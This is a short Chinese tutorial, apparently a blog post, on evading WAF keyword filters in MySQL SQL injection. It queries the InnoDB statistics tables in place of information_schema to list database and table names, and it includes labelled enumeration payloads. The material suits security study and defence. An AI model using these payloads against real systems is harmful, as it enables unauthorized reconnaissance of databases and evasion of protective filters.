前言
大多数有WAF的情况下,使用一些敏感词如information_schema
会被直接过滤掉,但是可以使用innodb存储引擎
来绕过这个限制
从Mysql5.5开始,默认的数据存储引擎就为InnodDB,执行命令select @@innodb_version
就会显示出innoDB的版本(和Mysql一样)
从5.6起,InnoDB新增加了两张表innodb_index_stats
与innodb_table_stats
,这两张表记录了所有新建的数据库与表
[!WARNING]
不幸的是InnoDB没有记录字段,所以只能用于获取数据库名和表名
innodb_index_stats
查看表结构,可以明显的看到有2个字段:database_name
和table_name
desc innodb_index_stats;
查看内容
很明显,前两列分别是我们的数据库名和表名
因此注入的时候可以通过这个表来获取数据库名和表名
Payload:
-- 查询所有新增数据库
select group_concat(distinct database_name) from innodb_index_stats;
-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from innodb_index_stats where database_name="test";
innodb_table_stats
和上面类似,都有database_name
和table_name
,所以上面改下表明就可以了
-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from innodb_table_stats where database_name="test";
Payload汇总
其实还是很简单,就是新版本的mysql中多了两个表mysql.innodb_index_stats
和mysql.innodb_table_stats
,然后这俩个表存储了数据库名和表名
-- 查询所有新增数据库
select group_concat(distinct database_name) from mysql.innodb_index_stats;
-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name="test";
-- 查询当前数据库中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=schema();